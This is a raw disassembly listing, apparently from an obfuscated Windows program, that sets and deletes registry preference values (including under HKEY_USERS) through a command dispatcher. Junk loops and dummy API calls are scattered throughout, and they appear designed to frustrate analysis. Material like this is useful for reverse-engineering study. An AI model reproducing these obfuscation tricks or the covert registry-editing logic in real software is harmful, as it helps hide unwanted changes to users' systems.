lea rcx, [rsp + 0x50]
call fcn.140003094
test eax, eax
jne 0x140054c38
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.14003011c
mov qword [rsp + 0xe58], rax
lea r12, str.keyPath
mov rdx, r12
mov rcx, rax
call fcn.14003011c
mov qword [rsp + 0xb18], rax
cmp byte [rax + 8], 4
jne 0x140056d9d
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.14003011c
mov qword [rsp + 0x1060], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.14003011c
mov qword [rsp + 0xb28], rax
cmp byte [rax + 8], 4
jne 0x140056d9d
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.14003011c
mov qword [rsp + 0xe68], rax
lea rdx, [0x14013e490]
mov rcx, rax
call fcn.14003011c
mov qword [rsp + 0xb38], rax
cmp byte [rax + 8], 4
jne 0x140056d9d
mov byte [rsp + 0x58], dil
mov qword [rsp + 0x128], rdi
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.14003011c
mov qword [rsp + 0x1100], rax
lea rdx, str.hive
mov rcx, rax
call fcn.140030290
mov qword [rsp + 0xb48], rax
lea rcx, [0x1401abee0]
cmp rax, rcx
je 0x140054a67
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.14003011c
mov qword [rsp + 0xe78], rax
lea rdx, str.hive
mov rcx, rax
call fcn.14003011c
mov qword [rsp + 0xb58], rax
mov rdx, qword [rax]
mov qword [rsp + 0x1070], rdx
lea rcx, [rsp + 0x2e0]
call fcn.140002df8
nop
mov ecx, dword [0x1401aad80]
imul ecx, ecx
mov eax, 0x2aaaaaab
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 3
sub ecx, eax
mov edx, 7
cmp ecx, edx
jne 0x140054758
mov dword [rsp + 0x1108], edi
mov dword [rsp + 0x1140], edi
mov dword [rsp + 0x1180], edi
mov rbx, qword [r13 + 0x50]
mov qword [rsp + 0x128], rbx
lea rdx, str.HKEY_USERS
lea rcx, [rsp + 0x2e0]
call fcn.140003094
mov rcx, 0xffffffff80000003
test eax, eax
cmove rbx, rcx
mov qword [rsp + 0x128], rbx
mov r8d, dword [0x1401aad80]
lea ecx, [r8 + 1]
imul ecx, r8d
mov eax, 0x88888889
imul ecx
add edx, ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xf
sub ecx, edx
cmp ecx, r15d
jne 0x140054856
mov rbx, rdi
mov qword [rsp + 0x488], rbx
cmp rbx, 0x70
jae 0x1400547f8
call fcn.1400be2e0
movd xmm0, eax
cvtdq2pd xmm0, xmm0
movsd qword [rsp + rbx*8 + 0x50c0], xmm0
add rbx, r15
mov qword [rsp + 0x488], rbx
mov r8d, dword [0x1401aad80]
jmp 0x1400547c8
mov eax, edi
mov dword [rsp + 0x298], eax
cmp eax, 0x70
jge 0x140054856
mov ecx, 0x6f
mov dword [rsp + 0x200], ecx
cmp ecx, eax
jle 0x140054851
movsxd rdx, ecx
movsd xmm0, qword [rsp + rdx*8 + 0x50c0]
movsd xmm1, qword [rsp + rdx*8 + 0x50b8]
comisd xmm0, xmm1
jbe 0x14005484c
movsd qword [rsp + 0xb68], xmm0
movsd qword [rsp + rdx*8 + 0x50c0], xmm1
movsd qword [rsp + rdx*8 + 0x50b8], xmm0
sub ecx, r15d
jmp 0x14005480b
add eax, r15d
jmp 0x1400547fa
lea ecx, [r8 + 2]
lea eax, [r8 + 1]
imul ecx, eax
imul ecx, r8d
mov eax, 0x38e38e39
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*8]
sub ecx, eax
cmp ecx, r15d
jne 0x140054894
mov dword [rsp + 0x2ed0], edi
mov dword [rsp + 0x3aa0], edi
mov dword [rsp + 0x11d0], edi
mov rcx, qword [rsp + 0x2e0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x498], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x1400548c6
mov rdx, qword [rsp + 0x498]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
lea rbx, str.param
cmp qword [rsp + 0x128], rdi
je 0x140054a67
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.14003011c
mov qword [rsp + 0xe88], rax
mov rdx, r12
mov rcx, rax
call fcn.14003011c
mov qword [rsp + 0xb78], rax
mov rdx, qword [rax]
mov qword [rsp + 0x10e0], rdx
lea rcx, [rsp + 0x3d0]
call fcn.140002df8
nop
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.14003011c
mov qword [rsp + 0xb88], rax
lea rdx, [0x14013e490]
mov rcx, rax
call fcn.14003011c
mov qword [rsp + 0xe98], rax
mov rdx, qword [rax]
mov qword [rsp + 0xb98], rdx
lea rcx, [rsp + 0x2f0]
call fcn.140002df8
nop
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.14003011c
mov qword [rsp + 0x1080], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.14003011c
mov qword [rsp + 0xba8], rax
mov rdx, qword [rax]
mov qword [rsp + 0xea8], rdx
lea rcx, [rsp + 0x380]
call fcn.140002df8
nop
mov r9, qword [rsp + 0x128]
lea r8, [rsp + 0x3d0]
lea rdx, [rsp + 0x2f0]
lea rcx, [rsp + 0x380]
call fcn.14003ccc8
mov byte [rsp + 0x58], al
mov rcx, qword [rsp + 0x380]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x4a8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140054a02
mov rdx, qword [rsp + 0x4a8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x2f0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x4b8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140054a35
mov rdx, qword [rsp + 0x4b8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x3d0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x4c8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140054c1c
mov rdx, qword [rsp + 0x4c8]
jmp 0x140054c13
lea rax, [rsp + 0x4d8]
mov qword [rsp + 0xbb8], rax
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.14003011c
mov qword [rsp + 0x10b0], rax
mov rdx, r12
mov rcx, rax
call fcn.14003011c
mov qword [rsp + 0xbc8], rax
mov rdx, qword [rax]
mov qword [rsp + 0xeb8], rdx
lea rcx, [rsp + 0x310]
call fcn.140002df8
nop
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.14003011c
mov qword [rsp + 0xbd8], rax
lea rdx, [0x14013e490]
mov rcx, rax
call fcn.14003011c
mov qword [rsp + 0x1090], rax
mov rdx, qword [rax]
mov qword [rsp + 0xbe8], rdx
lea rcx, [rsp + 0x390]
call fcn.140002df8
nop
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.14003011c
mov qword [rsp + 0xec8], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.14003011c
mov qword [rsp + 0xbf8], rax
mov rdx, qword [rax]
mov qword [rsp + 0x10b8], rdx
lea rcx, [rsp + 0x300]
call fcn.140002df8
nop
lea rdx, [0x1401384c8]
lea rcx, [rsp + 0x4d8]
call fcn.140001f6c
nop
mov qword [rsp + 0x20], rax
mov r9, qword [0x1401a5d58]
lea r8, [rsp + 0x310]
lea rdx, [rsp + 0x390]
lea rcx, [rsp + 0x300]
call fcn.14003c970
mov byte [rsp + 0x58], al
mov rcx, qword [rsp + 0x300]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x4e8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140054bb7
mov rdx, qword [rsp + 0x4e8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x390]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x4f8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140054bea
mov rdx, qword [rsp + 0x4f8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x310]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x508], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140054c1c
mov rdx, qword [rsp + 0x508]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
test r14, r14
je 0x140056d9d
mov al, byte [rsp + 0x58]
neg al
sbb cx, cx
mov word [r14 + 8], cx
jmp 0x140056d93
lea rdx, str.setIntPref
lea rcx, [rsp + 0x50]
call fcn.140003094
test eax, eax
jne 0x1400551e3
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.14003011c
mov qword [rsp + 0xc08], rax
lea r12, str.keyPath
mov rdx, r12
mov rcx, rax
call fcn.14003011c
mov qword [rsp + 0xed8], rax
cmp byte [rax + 8], 4
jne 0x14005516d
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.14003011c
mov qword [rsp + 0xc18], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.14003011c
mov qword [rsp + 0x10a0], rax
cmp byte [rax + 8], 4
jne 0x14005516d
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.14003011c
mov qword [rsp + 0xc28], rax
lea rdx, [0x14013e490]
mov rcx, rax
call fcn.14003011c
mov qword [rsp + 0xee8], rax
mov cl, byte [rax + 8]
mov al, cl
sub al, r15b
cmp al, 2
jbe 0x140054d01
cmp cl, 5
jne 0x14005516d
mov byte [rsp + 0x5a], dil
mov qword [rsp + 0x138], rdi
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.14003011c
mov qword [rsp + 0xc38], rax
lea rdx, str.hive
mov rcx, rax
call fcn.140030290
mov qword [rsp + 0x10c8], rax
lea rcx, [0x1401abee0]
cmp rax, rcx
je 0x140054fdf
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.14003011c
mov qword [rsp + 0xc48], rax
lea rdx, str.hive
mov rcx, rax
call fcn.14003011c
mov qword [rsp + 0xef8], rax
mov rdx, qword [rax]
mov qword [rsp + 0xc58], rdx
lea rcx, [rsp + 0x3d8]
call fcn.140002df8
nop
mov r8d, dword [0x1401aad80]
lea ecx, [r8 + 1]
imul ecx, r8d
mov eax, 0x30c30c31
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x15
sub ecx, edx
cmp ecx, 0x10
jne 0x140054e14
mov ecx, edi
mov dword [rsp + 0x210], ecx
mov eax, 0x91a2b3c5
imul r8d
add edx, r8d
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xe1
mov eax, r8d
sub eax, edx
cmp eax, 0x5a
je 0x140054e0e
mov eax, r8d
or eax, 0xffffff82
add r8d, eax
mov dword [0x1401aad80], r8d
add ecx, r15d
mov dword [rsp + 0x210], ecx
mov eax, r8d
imul eax, r8d
cmp ecx, eax
jg 0x140054e0e
jmp 0x140054dc2
mov dword [0x1401aad80], ecx
mov rbx, qword [r13 + 0x50]
mov qword [rsp + 0x138], rbx
lea rdx, str.HKEY_USERS
lea rcx, [rsp + 0x3d8]
call fcn.140003094
mov rcx, 0xffffffff80000003
test eax, eax
cmove rbx, rcx
mov qword [rsp + 0x138], rbx
mov rcx, qword [rsp + 0x3d8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x518], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140054e7b
mov rdx, qword [rsp + 0x518]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
lea rbx, str.param
cmp qword [rsp + 0x138], rdi
je 0x140054fdf
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.14003011c
mov qword [rsp + 0x1010], rax
mov rdx, r12
mov rcx, rax
call fcn.14003011c
mov qword [rsp + 0xc68], rax
mov rdx, qword [rax]
mov qword [rsp + 0xf08], rdx
lea rcx, [rsp + 0x3a0]
call fcn.140002df8
nop
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.14003011c
mov qword [rsp + 0xc78], rax
lea rdx, [0x14013e490]
mov rcx, rax
call fcn.14003011c
mov qword [rsp + 0x1018], rax
mov rcx, rax
call fcn.14002fc40
mov dword [rsp + 0x280], eax
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.14003011c
mov qword [rsp + 0xc88], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.14003011c
mov qword [rsp + 0xf18], rax
mov rdx, qword [rax]
mov qword [rsp + 0xc98], rdx
lea rcx, [rsp + 0x320]
call fcn.140002df8
nop
mov r9, qword [rsp + 0x138]
lea r8, [rsp + 0x3a0]
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x320]
call fcn.14003ce3c
mov byte [rsp + 0x5a], al
mov rcx, qword [rsp + 0x320]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x528], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140054fad
mov rdx, qword [rsp + 0x528]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x3a0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x538], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140055150
mov rdx, qword [rsp + 0x538]
jmp 0x140055147
lea rax, [rsp + 0x548]
mov qword [rsp + 0x1028], rax
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.14003011c
mov qword [rsp + 0xca8], rax
mov rdx, r12
mov rcx, rax
call fcn.14003011c
mov qword [rsp + 0xf28], rax
mov rdx, qword [rax]
mov qword [rsp + 0xcb8], rdx
lea rcx, [rsp + 0x3f8]
call fcn.140002df8
nop
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.14003011c
mov qword [rsp + 0x1038], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.14003011c
mov qword [rsp + 0xcc8], rax
mov rdx, qword [rax]
mov qword [rsp + 0xf38], rdx
lea rcx, [rsp + 0x330]
call fcn.140002df8
nop
lea rdx, [0x1401384c8]
lea rcx, [rsp + 0x548]
call fcn.140001f6c
mov rbx, rax
lea rdx, str.param
lea rcx, [rsp + 0x60]
call fcn.14003011c
mov qword [rsp + 0xcd8], rax
lea rdx, [0x14013e490]
mov rcx, rax
call fcn.14003011c
mov qword [rsp + 0x1048], rax
mov rcx, rax
call fcn.14002fc40
mov edx, eax
mov qword [rsp + 0x20], rbx
mov r9, qword [0x1401a5d58]
lea r8, [rsp + 0x3f8]
lea rcx, [rsp + 0x330]
call fcn.14003d808
mov byte [rsp + 0x5a], al
mov rcx, qword [rsp + 0x330]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x558], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14005511e
mov rdx, qword [rsp + 0x558]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x3f8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x568], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140055150
mov rdx, qword [rsp + 0x568]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
test r14, r14
je 0x14005516d
mov al, byte [rsp + 0x5a]
neg al
sbb cx, cx
mov word [r14 + 8], cx
mov r12d, 0xb
mov word [r14], r12w
mov r8d, dword [0x1401aad80]
lea ecx, [r8 + 1]
imul ecx, r8d
mov eax, 0x78787879
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x11
sub ecx, edx
cmp ecx, 0x10
jne 0x140056d9d
mov eax, 0x51eb851f
imul r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x64
sub r8d, edx
add r8d, 0x63
movsxd rcx, r8d
mov eax, 4
mul rcx
cmovo rax, rsi
mov rcx, rax
call fcn.1400bcf98
mov qword [rsp + 0xce8], rax
mov rcx, rax
call fcn.1400be048
jmp 0x140056d9d
lea rdx, str.removePref
lea rcx, [rsp + 0x50]
call fcn.140003094
test eax, eax
jne 0x140055c01
mov ecx, dword [0x1401aad80]
lea r8d, [rcx + 2]
lea eax, [rcx + 1]
imul r8d, eax
imul r8d, ecx
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xd
sub r8d, edx
cmp r8d, r15d
jne 0x140055252
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov ecx, dword [0x1401aad80]
mov edx, 7
test rax, rax
cmove ecx, edx
mov dword [0x1401aad80], ecx
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.14003011c
mov qword [rsp + 0xf48], rax
lea r12, str.keyPath
mov rdx, r12
mov rcx, rax
call fcn.14003011c
mov qword [rsp + 0xcf8], rax
cmp byte [rax + 8], 4
jne 0x140055bc0
mov byte [rsp + 0x59], dil
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.14003011c
mov qword [rsp + 0x1058], rax
lea rdx, str.hive
mov rcx, rax
call fcn.140030290
mov qword [rsp + 0xd08], rax
lea rcx, [0x1401abee0]
mov rdx, rbx
cmp rax, rcx
lea rcx, [rsp + 0x60]
je 0x1400558fd
call fcn.14003011c
mov qword [rsp + 0xf68], rax
lea rdx, str.hive
mov rcx, rax
call fcn.14003011c
mov qword [rsp + 0xd18], rax
mov rdx, qword [rax]
mov qword [rsp + 0x1068], rdx
lea rcx, [rsp + 0x248]
call fcn.140002df8
nop
mov rbx, qword [r13 + 0x50]
lea rdx, str.HKEY_USERS
lea rcx, [rsp + 0x248]
call fcn.140003094
mov rcx, 0xffffffff80000003
test eax, eax
cmove rbx, rcx
mov qword [rsp + 0xd28], rbx
lea rdx, str.param
lea rcx, [rsp + 0x60]
call fcn.14003011c
mov qword [rsp + 0xf88], rax
mov rdx, r12
mov rcx, rax
call fcn.14003011c
mov qword [rsp + 0xd38], rax
mov rdx, qword [rax]
mov qword [rsp + 0x1078], rdx
lea rax, [rsp + 0x238]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rsp + 0xe0], eax
test eax, eax
je 0x1400554a3
test r14, r14
je 0x1400553b5
mov dword [r14 + 8], eax
mov eax, 0x16
mov word [r14], ax
mov rcx, qword [rsp + 0x248]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x578], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x1400553e8
mov rdx, qword [rsp + 0x578]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x50]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x588], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140055418
mov rdx, qword [rsp + 0x588]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x4be8], 0x10
jb 0x140055430
mov rcx, qword [rsp + 0x4bd0]
call fcn.1400bd904
mov qword [rsp + 0x4be8], 0xf
mov qword [rsp + 0x4be0], rdi
mov byte [rsp + 0x4bd0], dil
mov rcx, qword [rsp + 0x78]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x598], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14005547c
mov rdx, qword [rsp + 0x598]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x4ce0]
call fcn.14001723c
nop
lea rcx, [rsp + 0x60]
call fcn.14002f88c
nop
mov bl, byte [rsp + 0x40]
mov r13, qword [rsp + 0x48]
jmp 0x140057cfe
lea rdx, str.param
lea rcx, [rsp + 0x60]
call fcn.14003011c
mov qword [rsp + 0xd48], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.14003011c
mov qword [rsp + 0xfa8], rax
mov rdx, qword [rax]
mov qword [rsp + 0xd58], rdx
lea rcx, [rsp + 0x340]
call fcn.140002df8
nop
mov rdx, qword [rsp + 0x340]
mov eax, dword [rdx - 0x10]
mov dword [rsp + 0x460], eax
mov rcx, qword [rsp + 0x238]
test eax, eax
jne 0x1400556a6
lea rdx, [0x1401384c8]
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov dword [rsp + 0xe0], eax
test eax, eax
jne 0x140055650
mov r9d, dword [0x1401aad80]
mov ecx, r9d
imul ecx, r9d
mov eax, 0x66666667
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
shl eax, 2
sub ecx, eax
cmp ecx, 6
jne 0x14005558b
mov r8d, edi
mov dword [rsp + 0x220], edi
movsxd r10, r8d
cmp r10, 0x7a
jae 0x14005558b
lea ecx, [r8 + r9]
mov eax, r9d
sub eax, r8d
cdq
idiv ecx
mov dword [rsp + r10*4 + 0x5b80], edx
add r8d, r15d
mov dword [rsp + 0x220], r8d
jmp 0x140055560
test r14, r14
je 0x14005559f
mov word [r14 + 8], si
mov r12d, 0xb
mov word [r14], r12w
mov ecx, r9d
imul ecx, r9d
mov eax, 0xb21642c9
imul ecx
add edx, ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x17
sub ecx, edx
mov eax, 0x16
cmp ecx, eax
jne 0x1400557ed
mov r11d, 0xba
mov dword [rsp + 0x178], r11d
mov ecx, edi
mov dword [rsp + 0x284], ecx
cmp ecx, r11d
jge 0x1400557ed
mov r10d, edi
mov dword [rsp + 0x2b4], edi
mov eax, r9d
cdq
sub eax, edx
sar eax, 1
cmp r10d, eax
jge 0x14005564b
mov r8d, edi
mov dword [rsp + 0x2ac], edi
mov eax, r9d
cdq
and edx, 3
add eax, edx
sar eax, 2
cmp r8d, eax
jge 0x14005563e
mov eax, r10d
imul eax, ecx
sub eax, r8d
add r11d, eax
mov dword [rsp + 0x178], r11d
add r8d, r15d
mov dword [rsp + 0x2ac], r8d
jmp 0x14005560c
add r10d, r15d
mov dword [rsp + 0x2b4], r10d
jmp 0x1400555f5
add ecx, r15d
jmp 0x1400555db
test r14, r14
je 0x140055662
mov dword [r14 + 8], eax
mov eax, 0x16
mov word [r14], ax
mov ecx, dword [0x1401aad80]
imul ecx, ecx
mov eax, 0x66666667
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
add eax, eax
sub ecx, eax
cmp ecx, 3
jne 0x1400557ed
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
jmp 0x1400557ed
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov r13d, eax
mov dword [rsp + 0xe0], eax
test eax, eax
je 0x140055754
mov ecx, dword [0x1401aad80]
mov r8d, ecx
imul r8d, ecx
imul r8d, ecx
mov eax, 0x6bca1af3
imul r8d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x13
sub r8d, edx
cmp r8d, 9
jne 0x140055739
lea ecx, [r8 + 0x1f]
call fcn.1400bcf98
mov r12, rax
mov qword [rsp + 0x1088], rax
mov ebx, edi
mov dword [rsp + 0x2b0], ebx
cmp ebx, 0xa
jge 0x140055726
call fcn.1400be2e0
add eax, dword [0x1401aad80]
movsxd rcx, ebx
mov dword [r12 + rcx*4], eax
add ebx, r15d
jmp 0x140055703
mov eax, dword [r12 + 0x24]
mov dword [0x1401aad80], eax
mov rcx, r12
call fcn.1400be048
test r14, r14
je 0x1400557ed
mov dword [r14 + 8], r13d
mov eax, 0x16
mov word [r14], ax
jmp 0x1400557ed
mov r8d, dword [0x1401aad80]
mov ecx, r8d
imul ecx, r8d
mov eax, 0x2e8ba2e9
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x16
sub ecx, edx
cmp ecx, 6
jne 0x140055787
add r8d, r15d
mov dword [0x1401aad80], r8d
test r14, r14
je 0x14005579b
mov word [r14 + 8], si
mov r12d, 0xb
mov word [r14], r12w
mov ecx, r8d
imul ecx, r8d
mov eax, 0x66666667
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
shl eax, 2
sub ecx, eax
cmp ecx, 6
jne 0x1400557ed
mov ecx, edi
mov dword [rsp + 0x230], ecx
movsxd rax, ecx
cmp rax, 0x3f4
jae 0x1400557ed
mov eax, dword [rsp + rax*4 + 0x5fa0]
imul eax, eax, 0x2f
add r8d, eax
mov dword [0x1401aad80], r8d
add ecx, r15d
jmp 0x1400557c2
mov rcx, qword [rsp + 0x238]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
mov rcx, qword [rsp + 0x340]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5a8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14005582f
mov rdx, qword [rsp + 0x5a8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x248]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5b8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140055862
mov rdx, qword [rsp + 0x5b8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x50]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5c8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140055892
mov rdx, qword [rsp + 0x5c8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
xor r8d, r8d
mov dl, r15b
lea rcx, [rsp + 0x4bd0]
call fcn.14000136c
nop
mov rcx, qword [rsp + 0x78]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5d8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x1400558d6
mov rdx, qword [rsp + 0x5d8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x4ce0]
call fcn.14001723c
nop
lea rcx, [rsp + 0x60]
call fcn.14002f88c
nop
mov bl, byte [rsp + 0x40]
mov r13, qword [rsp + 0x48]
jmp 0x140057cfe
call fcn.14003011c
mov qword [rsp + 0xd68], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.14003011c
mov qword [rsp + 0xfc8], rax
cmp byte [rax + 8], 4
jne 0x140055a7f
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.14003011c
mov qword [rsp + 0xd78], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.14003011c
mov qword [rsp + 0x1098], rax
mov rdx, qword [rax]
mov qword [rsp + 0xd88], rdx
lea rcx, [rsp + 0x410]
call fcn.140002df8
nop
lea rdx, [0x1401384c8]
lea rcx, [rsp + 0x350]
call fcn.140001f6c
nop
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.14003011c
mov qword [rsp + 0xfe8], rax
mov rdx, r12
mov rcx, rax
call fcn.14003011c
mov qword [rsp + 0xd98], rax
mov rdx, qword [rax]
mov qword [rsp + 0x990], rdx
lea rcx, [rsp + 0x3b0]
call fcn.140002df8
nop
lea r8, [rsp + 0x410]
lea rdx, [rsp + 0x350]
lea rcx, [rsp + 0x3b0]
call fcn.14003bfb8
mov byte [rsp + 0x59], al
mov rcx, qword [rsp + 0x3b0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5e8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140055a1a
mov rdx, qword [rsp + 0x5e8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x350]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5f8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140055a4d
